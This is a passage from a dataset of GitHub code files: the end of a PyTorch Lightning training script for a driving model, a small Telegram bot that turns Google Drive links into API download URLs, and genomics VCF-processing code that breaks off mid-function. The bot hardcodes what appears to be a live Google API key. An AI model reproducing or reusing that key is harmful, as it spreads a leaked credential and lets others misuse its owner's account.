255))\n\n for x, y in points:\n x = (x + 1) / 2 * 256\n y = (y + 1) / 2 * 256\n\n _draw.ellipse((x-2, y-2, x+2, y+2), (0, 0, 255))\n\n for x, y in _out:\n x = (x + 1) / 2 * 256\n y = (y + 1) / 2 * 256\n\n _draw.ellipse((x-2, y-2, x+2, y+2), (255, 0, 0))\n\n for x, y in _between:\n x = (x + 1) / 2 * 256\n y = (y + 1) / 2 * 256\n\n _draw.ellipse((x-1, y-1, x+1, y+1), (0, 255, 0))\n\n _draw.text((5, 10), 'Point: %.3f' % _loss_point)\n _draw.text((5, 30), 'Command: %.3f' % _loss_cmd)\n _draw.text((5, 50), 'Meta: %s' % meta)\n\n _draw.text((5, 90), 'Raw: %.3f %.3f' % tuple(actions))\n _draw.text((5, 110), 'Pred: %.3f %.3f' % tuple(_out_cmd))\n\n image = np.array(_topdown).transpose(2, 0, 1)\n images.append((_loss_cmd, torch.ByteTensor(image)))\n\n images.sort(key=lambda x: x[0], reverse=True)\n\n result = torchvision.utils.make_grid([x[1] for x in images], nrow=4)\n result = wandb.Image(result.numpy().transpose(1, 2, 0))\n\n return result\n\n\nclass MapModel(pl.LightningModule):\n def __init__(self, hparams):\n super().__init__()\n\n # addition: convert dict to namespace when necessary\n # hack:\n if isinstance(hparams, dict):\n import argparse\n args = argparse.Namespace()\n for k,v in hparams.items():\n setattr(args, k, v)\n hparams = args\n\n self.hparams = hparams\n self.to_heatmap = ToHeatmap(hparams.heatmap_radius)\n self.net = SegmentationModel(10, 4, hack=hparams.hack, temperature=hparams.temperature)\n self.controller = RawController(4)\n\n def forward(self, topdown, target, debug=False):\n target_heatmap = self.to_heatmap(target, topdown)[:, None]\n out = self.net(torch.cat((topdown, target_heatmap), 1))\n\n if not debug:\n return out\n\n return out, (target_heatmap,)\n\n def training_step(self, batch, batch_nb):\n img, topdown, points, target, actions, meta = batch\n out, (target_heatmap,) = self.forward(topdown, target, debug=True)\n\n alpha = torch.rand(out.shape).type_as(out)\n between = alpha * out + (1-alpha) * points\n out_cmd = self.controller(between)\n\n loss_point = torch.nn.functional.l1_loss(out, points, reduction='none').mean((1, 2))\n loss_cmd_raw = torch.nn.functional.l1_loss(out_cmd, actions, reduction='none')\n\n loss_cmd = loss_cmd_raw.mean(1)\n loss = (loss_point + self.hparams.command_coefficient * loss_cmd).mean()\n\n metrics = {\n 'point_loss': loss_point.mean().item(),\n 'cmd_loss': loss_cmd.mean().item(),\n 'loss_steer': loss_cmd_raw[:, 0].mean().item(),\n 'loss_speed': loss_cmd_raw[:, 1].mean().item()\n }\n\n if batch_nb % 250 == 0:\n metrics['train_image'] = visualize(batch, out, between, out_cmd, loss_point, loss_cmd, target_heatmap)\n\n self.logger.log_metrics(metrics, self.global_step)\n print(type(loss))\n return {'loss': loss}\n\n def validation_step(self, batch, batch_nb):\n img, topdown, points, target, actions, meta = batch\n out, (target_heatmap,) = self.forward(topdown, target, debug=True)\n\n alpha = 0.0\n between = alpha * out + (1-alpha) * points\n out_cmd = self.controller(between)\n out_cmd_pred = self.controller(out)\n\n loss_point = torch.nn.functional.l1_loss(out, points, reduction='none').mean((1, 2))\n loss_cmd_raw = torch.nn.functional.l1_loss(out_cmd, actions, reduction='none')\n loss_cmd_pred_raw = torch.nn.functional.l1_loss(out_cmd_pred, actions, reduction='none')\n\n loss_cmd = loss_cmd_raw.mean(1)\n loss = (loss_point + self.hparams.command_coefficient * loss_cmd).mean()\n\n if batch_nb == 0:\n self.logger.log_metrics({\n 'val_image': visualize(batch, out, between, out_cmd, loss_point, loss_cmd, target_heatmap)\n }, self.global_step)\n\n return {\n 'val_loss': loss.item(),\n 'val_point_loss': loss_point.mean().item(),\n\n 'val_cmd_loss': loss_cmd_raw.mean(1).mean().item(),\n 'val_steer_loss': loss_cmd_raw[:, 0].mean().item(),\n 'val_speed_loss': loss_cmd_raw[:, 1].mean().item(),\n\n 'val_cmd_pred_loss': loss_cmd_pred_raw.mean(1).mean().item(),\n 'val_steer_pred_loss': loss_cmd_pred_raw[:, 0].mean().item(),\n 'val_speed_pred_loss': loss_cmd_pred_raw[:, 1].mean().item(),\n }\n\n def validation_epoch_end(self, batch_metrics):\n results = dict()\n\n for metrics in batch_metrics:\n for key in metrics:\n if key not in results:\n results[key] = list()\n\n results[key].append(metrics[key])\n\n summary = {key: np.mean(val) for key, val in results.items()}\n self.logger.log_metrics(summary, self.global_step)\n\n return summary\n\n def configure_optimizers(self):\n optim = torch.optim.Adam(\n list(self.net.parameters()) + list(self.controller.parameters()),\n lr=self.hparams.lr, weight_decay=self.hparams.weight_decay)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(\n optim, mode='min', factor=0.5, patience=5, min_lr=1e-6,\n verbose=True)\n\n return [optim], [scheduler]\n\n def train_dataloader(self):\n return get_dataset(self.hparams.dataset_dir, True, self.hparams.batch_size, sample_by=self.hparams.sample_by)\n\n def val_dataloader(self):\n return get_dataset(self.hparams.dataset_dir, False, self.hparams.batch_size, sample_by=self.hparams.sample_by)\n\n\ndef main(hparams):\n model = MapModel(hparams)\n logger = WandbLogger(id=hparams.id, save_dir=str(hparams.save_dir), project='stage_1')\n checkpoint_callback = ModelCheckpoint(hparams.save_dir, save_top_k=1)\n\n try:\n resume_from_checkpoint = sorted(hparams.save_dir.glob('*.ckpt'))[-1]\n except:\n resume_from_checkpoint = None\n\n trainer = pl.Trainer(\n gpus=-1, max_epochs=hparams.max_epochs,\n resume_from_checkpoint=resume_from_checkpoint,\n logger=logger, checkpoint_callback=checkpoint_callback)\n\n trainer.fit(model)\n\n wandb.save(str(hparams.save_dir / '*.ckpt'))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--max_epochs', type=int, default=50)\n parser.add_argument('--save_dir', type=pathlib.Path, default='checkpoints')\n parser.add_argument('--id', type=str, default=uuid.uuid4().hex)\n\n parser.add_argument('--heatmap_radius', type=int, default=5)\n parser.add_argument('--sample_by', type=str, choices=['none', 'even', 'speed', 'steer'], default='even')\n parser.add_argument('--command_coefficient', type=float, default=0.1)\n parser.add_argument('--temperature', type=float, default=10.0)\n parser.add_argument('--hack', action='store_true', default=False)\n\n # Data args.\n parser.add_argument('--dataset_dir', type=pathlib.Path, required=True)\n parser.add_argument('--batch_size', type=int, default=32)\n\n # Optimizer args.\n parser.add_argument('--lr', type=float, default=1e-4)\n parser.add_argument('--weight_decay', type=float, default=0.0)\n\n parsed = parser.parse_args()\n parsed.save_dir = parsed.save_dir / parsed.id\n parsed.save_dir.mkdir(parents=True, exist_ok=True)\n\n main(parsed)\n","repo_name":"AIasd/ADFuzz","sub_path":"carla_lbc/carla_project/src/map_model.py","file_name":"map_model.py","file_ext":"py","file_size_in_byte":9015,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"}
+{"seq_id":"71060030887","text":"import telebot\nimport re\n\nbot = telebot.TeleBot(\"TOKEN\")\n\n@bot.message_handler(func=lambda message: True)\ndef handle_message(message):\n\n if message.text.startswith(\"https://drive.google.com\"):\n \n file_id = re.search(r\"/d/([^/]*)\", message.text).group(1)\n\n download_link = f\"https://www.googleapis.com/drive/v3/files/{file_id}?alt=media&key=AIzaSyBKNu2mYKZgnm5TsIhGOCeCYg6eRHOosJ0\"\n \n bot.send_message(message.chat.id, download_link)\n\nbot.polling()\n","repo_name":"Damontools32/up","sub_path":"up.py","file_name":"up.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13740448759","text":"###########################################################################################################\n# \n###########################################################################################################\n#\nimport logging, sys, re, glob, os, subprocess, time #\nimport numpy as np #\nimport VPOT_conf #\nfrom shutil import copyfile #\n#from __main__ import *\ntab='\\t' # \nnl='\\n' #\n#\n#logging.basicConfig(stream=sys.stderr, level=logging.DEBUG) # to show debug message remove '#' at the beginning of line\n#\n###########################################################################################################\n#\n###########################################################################################################\ndef parameters(input_file):\n#\n#\tglobal pop_array \n#\tglobal pred_array \n#\tglobal txt_start \n#\tglobal txt_end \n#\n\tprint (\"VPOT_txt.parameters: \") #\n\t#\n\twith open(input_file,'r',encoding=\"utf-8\") as first_fn : #\n\t\tpredictors=False #\n\t\tline=first_fn.readline() # for txt file the first line contains all the annotation elements header\n\t\tthis_line=re.split('\\t',line) #\n\t\tlen_line=len(this_line) #\n\t\tfor j in range(len(this_line)): #\n#\t\t\tprint this_line[j] #\n\t\t\tif (this_line[j] ==\"ALT\") : # Alt column is #4\n\t\t\t\tpredictors=True #\n\t\t\t\tVPOT_conf.txt_start=j+1 #\n\t\t\telif (this_line[j] == \"FORMAT\") : # ok to stop checking for predictors \n#\t\t\telif ((this_line[j] == \"FORMAT\") and predictors ): # ok to stop checking for predictors \n\t\t\t\tpredictors=False #\n\t\t\t\tVPOT_conf.txt_end=j #\n#\t\t\t\tprint \"predictors = FALSE\"\n#\n\t\t\tif (predictors and this_line[j] !=\"Alt\") : # true\n\t\t\t\tif any( s in this_line[j] for s in VPOT_conf.Population ) : # when filtering for QC value \n\t\t\t\t\tVPOT_conf.pop_array.append([VPOT_conf.PF,this_line[j],VPOT_conf.MAFval]) \n\t\t\t\tVPOT_conf.pred_array.append([VPOT_conf.PD,this_line[j],\"N\",\"\",\"0\",\"\",\"1\",\"\",\"2\"]) \n##\n###########################################################################################################\n#\n###########################################################################################################\ndef setup_default_pred_values(file1): #\n#\n#\tglobal pred_array \n#\tglobal txt_start \n#\tglobal txt_end \n#\n\tprint (\"VPOT_txt.setup_default_pred_values: \") #\n##\n\twith open(file1,'r',encoding=\"utf-8\") as first_fn : #\n\t\tfor line in first_fn: #\n\t\t\tthis_line=re.split('\\t',line) #\n#\t\t\tprint line \n\t\t\tlen_line=len(this_line) #\n#\t\t\tprint this_line #\n#\t\t\tif (this_line[0] !=\"Chr\") : # skip header line\n\t\t\tif (this_line[0] !=\"#CHROM\") : # skip header line\n\t\t\t\ttry: #\n\t\t\t\t\tfor j in range(VPOT_conf.txt_start,VPOT_conf.txt_end): # keep values - start with after Alt column and ends with FORMAT \n\t\t\t\t\t\tpred_array_pos=j-VPOT_conf.txt_start # current VPOT_conf.pred_array position for value \n#\t\t\t\t\tprint \"VPOT_conf.pred_array_pos :\",VPOT_conf.pred_array_pos # current VPOT_conf.pred_array position for value \n#\t\t\t\t\tprint \"this line :\",this_line[j] # current VPOT_conf.pred_array position for value \n\t\t\t\t\t\tif ((this_line[j] != \".\") and (this_line[j] != \"-\") and (this_line[j] != \"-999\")): \n#\t\t\t\t\t\tif (VPOT_conf.is_number(this_line[j])): # numeric\n\t\t\t\t\t\t\tif (VPOT_conf.is_number(this_line[j]) and (VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_type] != \"A\" )): # numeric\n\t\t\t\t\t\t\t\tthis_numeric=True\n\t\t\t\t\t\t\t\tif ((VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_low] == \"\") or (float(VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_low]) > float(this_line[j]))): \n\t\t\t\t\t\t\t\t\tVPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_low] = this_line[j] \n\t\t\t\t\t\t\t\tif ((VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_high] == \"\") or (float(VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_high]) < float(this_line[j]))): \n\t\t\t\t\t\t\t\t\tVPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_high] = this_line[j] \n\t\t\t\t\t\t\telse : # if not a value that can be expressed as a floating point then is alpha\n#\t\t\t\t\t\t\tprint \"except\", this_line[i] \n\t\t\t\t\t\t\t\tthis_numeric=False\n\t\t\t\t\t\t\t\tif ((VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_low] == \"\") or (VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_low] > this_line[j])): \n\t\t\t\t\t\t\t\t\tVPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_low] = this_line[j] \n\t\t\t\t\t\t\t\tif ((VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_high] == \"\") or (VPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_high] < this_line[j])): \n\t\t\t\t\t\t\t\t\tVPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_high] = this_line[j] \n\t\t\t\t\t\t\t\tVPOT_conf.pred_array[pred_array_pos][VPOT_conf.PD_type] = \"A\" \n\t\t\t\t\t\t\t\taa=len(VPOT_conf.pred_array[pred_array_pos]) \n#\t\t\t\t\t\t\tprint aa #\n\t\t\t\t\t\t\t\tif (aa < VPOT_conf.Maxval): #still can add some more alpha options\n\t\t\t\t\t\t\t\t\tk=VPOT_conf.startlen # point to 1st option slot \n#\t\t\t\t\t\t\t\tprint k, aa #\n\t\t\t\t\t\t\t\t\twhile (k <= aa) :\n\t\t\t\t\t\t\t\t\t\tif (k == aa): # completed search and not found\t\n\t\t\t\t\t\t\t\t\t\t\tVPOT_conf.pred_array[pred_array_pos].append(this_line[j]) # then add it\n#\t\t\t\t\t\t\t\t\t\tprint \"add- \",this_line[i+1],\"/\",this_line[i] \n\t\t\t\t\t\t\t\t\t\telse : # keep searching\n\t\t\t\t\t\t\t\t\t\t\tif (VPOT_conf.pred_array[pred_array_pos][k] == this_line[j] ) : # current value already added \n\t\t\t\t\t\t\t\t\t\t\t\tbreak #\n\t\t\t\t\t\t\t\t\t\tk+=1 # move to pred_array slot\n#\t\t\t\t\t\t\t\tprint pred_array[pred_array_pos] #\n\t\t\t\texcept: # debug messages\n\t\t\t\t\tprint(\"Error occurred at line :\", line) #\n\t\t\t\t\tprint(\"pred value in line :\", this_line[j],\":\", this_numeric) #\n#\t\t\t\tprint(\"pred_array when error occurred :\", VPOT_conf.pred_array) #\n#\t\t\t\tprint(\"pred_array index when error occurred :\", j) #\n\t\t\t\t\tprint(\"pred_array when error occurred :\", VPOT_conf.pred_array[pred_array_pos]) #\n\t\t\t\t\tsys.exit(1) #\n#\n#\tprint pred_array #\n\t#\n# determine a middle value for the numeric predictors \n\tfor j in range(len(VPOT_conf.pred_array)): #\n#\t\tprint pred_array[j] \n\t\tif (VPOT_conf.pred_array[j][1] == \"N\") : # this predictor is numeric \n\t\t\tif (VPOT_conf.is_number(VPOT_conf.pred_array[j][VPOT_conf.PD_high]) and VPOT_conf.is_number(VPOT_conf.pred_array[j][VPOT_conf.PD_low])): #\n\t\t\t\tmid_value=float((float(VPOT_conf.pred_array[j][VPOT_conf.PD_high])+float(VPOT_conf.pred_array[j][VPOT_conf.PD_low]))/2) #\n#\t\t\tprint \"mid-\",mid_value #\n\t\t\t\tVPOT_conf.pred_array[j][VPOT_conf.PD_mid] = mid_value \n#\n#\tprint VPOT_conf.pred_array \n\n###########################################################################################################\n#\n###########################################################################################################\ndef read_variant_source_file(): #\n#\n##\n#\tprint \"read_variant_source_file_for_txt(): \" #\n#\tprint info_msg2 # parameter file supplied then use it\n\tprint (VPOT_conf.parameter_file) #\n\t#\n\twith open(VPOT_conf.input_file,'r',encoding=\"utf-8\") as input: # \n\t\tfor line in input: # work each input vcf file \n\t\t\tthis_line=re.split('\\t|\\n|\\r',line) # split into file location and sample id\n#\t\t\tprint (this_line) #\n\t\t\tif ( setup_for_this_src_file(this_line) != 0 ): # check the input file \n\t\t\t\tprint (\"Issue with input file 1-: \", line) # \n\t\t\t\treturn 1 # error return\n\t\t\telse : #\n\t\t\t\tprint (\"processing input file- : \", this_line) # \n#\t\t\t\tprint (\"checking values: \",VPOT_conf.sample_loc,VPOT_conf.FORMAT_loc,VPOT_conf.sample_coverage_loc[0]) #\n\t\t\t\tif ((VPOT_conf.sample_loc >=0) and (VPOT_conf.FORMAT_loc >=0) and (VPOT_conf.sample_coverage_loc[0] >=0)): #\n#\t\t\t\t\tprint \"OK\" #\n\t\t\t\t\tVPOT_conf.header_ln = VPOT_conf.header_ln+tab+VPOT_conf.sample_ID # add sample ID to header line\n#\t\t\t\t\tprint \"header- \",VPOT_conf.header_ln #\n#\t\t\t\t\toutline1 = VPOT_conf.header_ln+nl #\n\t\t\t\t\tVPOT_conf.blank_variant_ln = VPOT_conf.blank_variant_ln+tab+\"0\" # this is a default variant line for samples that do not have this variant\n#\t\t\t\t\tprint \"blank_variant_ln- \",VPOT_conf.blank_variant_ln #\n#\t\t\t\t\tprint sample_coverage, \"/\", sample_coverage_loc #\n\t\t\t\t\twork_this_src_file(this_line) #\n\t\t\t\t\tif (os.path.isfile(VPOT_conf.full_file2) is False ) or (os.stat(VPOT_conf.full_file2).st_size == 0): # are there any variants in the final file? \n\t\t\t\t\t\tVPOT_conf.update_existing_variants(VPOT_conf.working_file1,\"1\") # No - then create it based on sample file \n\t\t\t\t\telif (os.stat(VPOT_conf.working_file1).st_size == 0): # there any no variants for this sample \n\t\t\t\t\t\tcopyfile(VPOT_conf.full_file2,VPOT_conf.working_file1) # copy the new full file\n\t\t\t\t\t\tVPOT_conf.update_existing_variants(VPOT_conf.working_file1,\"0\") # then for existing variants, just add 0 to the end for this sample \n\t\t\t\t\telse : # yes, then incorporate them \n\t\t\t\t\t\tVPOT_conf.incorporate_this_src_into_full_file() #\n\t\t\t\t\tcopyfile(VPOT_conf.full_file2,VPOT_conf.full_file1) # copy the new full file\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\telse : #\n\t\t\t\t\tprint (\"Issue with input file 2-: \", line) #\n\t\t\t\t\treturn 1 # error return \n###########################################################################################################\n#\n###########################################################################################################\ndef setup_for_this_src_file(file_line): #\n#\n#\tglobal GT_loc #\n\t\n#\n#\tprint (\"setup_for_this_src_file for txt: \", file_line )#\n#\tprint info_msg2 # parameter file supplied then use it\n\tVPOT_conf.sample_loc=-1 #\n\tVPOT_conf.sample_ID=\"\"\n#\tVPOT_conf.INFO_loc=-1 #\n\tVPOT_conf.FORMAT_loc=-1 #\n\tVPOT_conf.sample_coverage_loc = [-1,-1,-1,-1,-1,-1] # location of VCF format codes for sample \n\t#\n\twith open(file_line[0],'r',encoding=\"utf-8\") as source_vcf : # open the sample input file\n\t\tfor src_line in source_vcf: # work each line of source file \n\t\t\tsrc_line1=re.split('\\t|\\n|\\r',src_line) # split into file location and sample id\n#\t\t\tprint \"src_line : \",src_line1 #\n\t\t\tif (\"#CHROM\" in src_line1[0]): # find sample location - using the header line\n\t\t\t\tfor i, content in enumerate(src_line1): # return the value and index number of each item in the line array \n#\t\t\t\t\t\t\t\tprint \"content-\",content,\"/\",i\t\t\t\t#\n\t\t\t\t\tif (content == file_line[1]) : # when filtering for sample ID \n\t\t\t\t\t\tVPOT_conf.sample_loc=i #save sample location\n\t\t\t\t\t\tVPOT_conf.sample_ID=file_line[1] # save sample ID\n#\t\t\t\t\t\tprint \"SAMPLE: \",VPOT_conf.sample_loc,\"/\",VPOT_conf.sample_ID #\n\t\t\t\t\telif (content == \"FORMAT\") : # \n\t\t\t\t\t\tVPOT_conf.FORMAT_loc=i #save FORMAT location\n#\t\t\t\t\t\tprint \"FORMAT_loc: \",FORMAT_loc #\n\t\t\t\t#\t\n\t\t\t\tif (\"#CHROM\" not in VPOT_conf.header_ln): # is this first time\n#\t\t\t\t\tprint (\"setup header\") #\n\t\t\t\t\tVPOT_conf.header_ln='\\t'.join(src_line1[:VPOT_conf.FORMAT_loc+1])+tab+VPOT_conf.GENE_NAME # save heading up to INFO (using INFO_loc +1 to denote the stop field)\n#\t\t\t\t\tVPOT_conf.header_ln=VPOT_conf.header_ln+tab+VPOT_conf.GENE_NAME # \n#\t\t\t\t\tVPOT_conf.blank_variant_ln='\\t'.join(src_line1[:VPOT_conf.FORMAT_loc+1]) # setup dummy variant line\n\t\t\t\t\tVPOT_conf.blank_variant_ln=VPOT_conf.header_ln # save heading up to INFO (using INFO_loc +1 to denote the stop field)\n#\t\t\t\t\tprint \"header_ln : \",VPOT_conf.header_ln #\n\t\t\telse : # variants lines \n#\t\t\t\tprint (\"var line : \",src_line1) #\n\t\t\t\tFORMAT1=re.split(':',src_line1[VPOT_conf.FORMAT_loc]) # split the variant line's FORMAT field\n#\t\t\t\tprint (\"FORMAT : \",src_line1[VPOT_conf.FORMAT_loc]) # split the variant line's FORMAT field\n\t\t\t\tfor i, content in enumerate(FORMAT1): # return the value and index number of each item in the line array \n#\t\t\t\t\tprint (\"content-\",content,\"/\",i)\t\t\t\t#\n\t\t\t\t\tfor j in range(len(VPOT_conf.sample_coverage)): #\n#\t\t\t\t\t\tprint (VPOT_conf.sample_coverage[j],\"/\",content) #\n\t\t\t\t\t\tif (content == VPOT_conf.sample_coverage[j]) : \t# look for the coverage FORMAT fields \n#\t\t\t\t\t\t\tprint (i,\"/\",j,\"/\",VPOT_conf.sample_coverage_loc)\n\t\t\t\t\t\t\tVPOT_conf.sample_coverage_loc[j]=i \t\t\t# save its location\t\n\t\t\t\t\t\t\tbreak #\n#\t\t\t\tprint (i,\"/\",j)\n#\t\t\t\tprint (\"coverage : \",VPOT_conf.sample_coverage_loc) #\n\t\t\t\tsource_vcf.close() # finish with source file \n\t\t\t\treturn 0 # have setup all location values - ok to go back\n#\t\t\t\t\t\tprint INFO1 #\n#\t\t\t\t\t\tprint FORMAT1 #\n#\t\t\t\t\t\tprint SAMPLE1 #\n\n#ed\tsource_vcf.close() # finish with source vcf file \n\treturn 1 # not a clean exit\n#\n###########################################################################################################\n#\n###########################################################################################################\ndef work_this_src_file(file_line): #\n#\n##\n#\tprint \"work_this_src_file(file_line): \" #\n#\tprint working_file1 #\n\twrkf1=open(VPOT_conf.working_file1,'w',encoding=\"utf-8\") # \n\twith open(file_line[0],'r',encoding=\"utf-8\") as source_vcf : #\n\t\tfor src_line in source_vcf: # work each line of source vcf file \n\t\t\tsrc_line1=re.split('\\t|\\n|\\r',src_line) # split into file location and sample id\n\t\t\tif (\"#CHROM\" not in src_line1[0]): # skip the header lines\n#\t\t\t\tprint (src_line1) #\n# variants lines \n\t\t\t\tSAMPLE1=re.split(':',src_line1[VPOT_conf.sample_loc]) # split the sample's FORMAT fields \n#\t\t\t\tprint (\"MaxCOverage : \",VPOT_conf.Maxcoverage) #\n#\t\t\t\tprint (\"Hete_balance : \",VPOT_conf.Hete_Balance) #\n#\t\t\t\tprint \"coverage_loc : \",VPOT_conf.sample_coverage_loc #\n#\t\t\t\tprint SAMPLE1 #\n#\t\t\t\tprint VPOT_conf.sample_coverage_loc #\n# have a coverage check on the sample \n#\t\t\t\tif (((VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val] == -1) or ((SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]] != \".\") and (int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]]) >= VPOT_conf.Maxcoverage))) and # NR\n#\t\t\t\t\t((VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val] == -1) or ((SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]] != \".\") and (int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]]) >= VPOT_conf.Maxcoverage)))) : # DP\n#\t\t\t\tif (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]] != \"./.\") : # a valid genotype \n\t\t\t\tif (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]] != \"./.\") and (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]] != \"0/.\") and (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]] != \"./0\") and (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]] != \"0/0\") : # a valid genotype \n\t\t\t\t\tif (VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val] != -1 ) : #this sample have a coverage depth\n\t\t\t\t\t\tSample_coverage=int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]]) # save DP value\n\t\t\t\t\t\tAlt_reads=int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]])/2 # save DP value\n#\t\t\t\t\t\tprint (\"DP\") #\n\t\t\t\t\tif (VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val] != -1 ) and (VPOT_conf.sample_coverage_loc[VPOT_conf.NV_val] != -1 ) : #this sample have a coverage depth from NR and NV\n#\t\t\t\t\t\tSample_coverage=int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]])+int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NV_val]]) # save DP value\n\t\t\t\t\t\tSample_coverage=int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]]) # save DP value\n\t\t\t\t\t\tAlt_reads=int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NV_val]]) # save DP value\n#\t\t\t\t\t\tprint (\"NR+NV\") #\n#\t\t\t\t\tprint (\"TOT: \",str(Sample_coverage)) # \n#\t\t\t\t\tprint (\"ALT_READ: \",str(Alt_reads)) # \n#\t\t\t\t\tprint (\"pass\") #\n#\t\t\t\t\tif (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]] == \".\") : # no DP_val \n#\t\t\t\t\t\tSAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]] = \"0\" # set it as zero \n#\t\t\t\t\tif (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]] == \".\") : # no DP_val \n#\t\t\t\t\t\tSAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]] = \"0\" # set it as zero \n#\t\t\t\t\tif (((VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val] == -1) or \n#\t\t\t\t\t\t((VPOT_conf.is_number(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]])) and (int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.NR_val]]) >= int(VPOT_conf.Maxcoverage)))) and # NR\n#\t\t\t\t\t\t((VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val] == -1) or \n#\t\t\t\t\t\t((VPOT_conf.is_number(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]])) and (int(SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.DP_val]]) >= int(VPOT_conf.Maxcoverage))))) : # DP\n#\n\t\t\t\t\tVPOT_conf.QC_PASS=False #\n\t\t\t\t\tif ((Sample_coverage >= int(VPOT_conf.Maxcoverage)) and (int((Alt_reads/Sample_coverage)*100) >= int(VPOT_conf.Hete_Balance))) : # Pas QC for coverage and balance\n\t\t\t\t\t\tVPOT_conf.QC_PASS=True # Yes\n#\t\t\t\t\tprint (\"QC_PASS\",VPOT_conf.QC_PASS) #\n#\t\t\t\t\t\tprint (\"add\") #\n#\t\t\t\t\t\tprint (\"add\") #\n#\t\t\t\t\tAllow for phased genotypes like 0|1\n\t\t\t\t\tGT_values=re.split('[|/]',SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]]) # get the genotype fields\n# \t \t\t\t\tprint GT_values #\n\t\t\t\t\tfor j in range(len(GT_values)) : #\n#\t\t\t\t\tprint GT_values[j] #\n\t\t\t\t\t\tif ( GT_values[j] not in VPOT_conf.Non_alt_GT_types ) : # when filtering for QC value \n#\t\t\t\t\t\t\tprint (\"keep this variant1\") #\n\t\t\t\t\t\t\tcheck_this_variant(src_line, wrkf1) #\n\t\t\t\t\t\t\tbreak # get out of for loop (GT_values)\n\n\twrkf1.close() # finish with the output file \n#\n#\tprint \"sort unique\" #\n##\tCOMMAND=\"sort -V -u -k1,5 \"+VPOT_conf.working_file1+\" > \"+VPOT_conf.sort_file1 # \n\tCOMMAND=\"sort -V -u \"+VPOT_conf.working_file1+\" > \"+VPOT_conf.sort_file1 # \n\tsubprocess.call(COMMAND, shell=True) #\n\tcopyfile(VPOT_conf.sort_file1,VPOT_conf.working_file1) # copy back\n\n#\tsource_vcf.close() # finish with source vcf file \n#\n###########################################################################################################\n#\n###########################################################################################################\ndef check_this_variant(src_line, wrkf1): #\n#\n#\tprint \"check_this_variant(src_line, wrkf1): \",src_line #\n#\n\tsrc_line1=re.split('\\t|\\n|\\r',src_line) # split into file location and sample id\n\tSAMPLE1=re.split(':',src_line1[VPOT_conf.sample_loc]) # split the sample's FORMAT fields \n#\tAllow for phased genotypes - e.g. 0|1\n\tGENOTYPE1=re.split('[|/]',SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]]) # split the sample's GENOTYPE fields \n\theader1=re.split('\\t|\\n|\\r',VPOT_conf.header_ln) # split into file location and sample id\n#\tprint \"header : \",VPOT_conf.header_ln #\n#\tprint (src_line1) #\n\tif (population_frequency(src_line1,header1) == 0 ): # check if variant with in filter\n#\t\tprint (\"saving this variant1\") #\n\t\tVPOT_conf.gene_ref=\"NONE\" #\n\t\tfind_gene_ref(src_line1,header1) # check if variant found != means yes \n#\t\tif ( gene != 0 ): # check if variant found != means yes \n#\t\t\tVPOT_conf.gene_ref=src_line1[gene] # now add in the gene ref \n#\n\t\tif (not VPOT_conf.QC_PASS) : # sample did not pass QC \n\t\t\tgtype=\".\" #\n#\t\telif (SAMPLE1[VPOT_conf.sample_coverage_loc[VPOT_conf.GT_val]] == \"1/1\") : # a homozygous alt genotype \n\t\telif (GENOTYPE1[0] == GENOTYPE1[1]) : # a homozygous alt genotype \n\t\t\tgtype=\"2\" #\n\t\telse : #\n\t\t\tgtype=\"1\" \n#\n\t\toutline='\\t'.join(src_line1[:VPOT_conf.FORMAT_loc+1])+tab+VPOT_conf.gene_ref+tab+gtype+nl 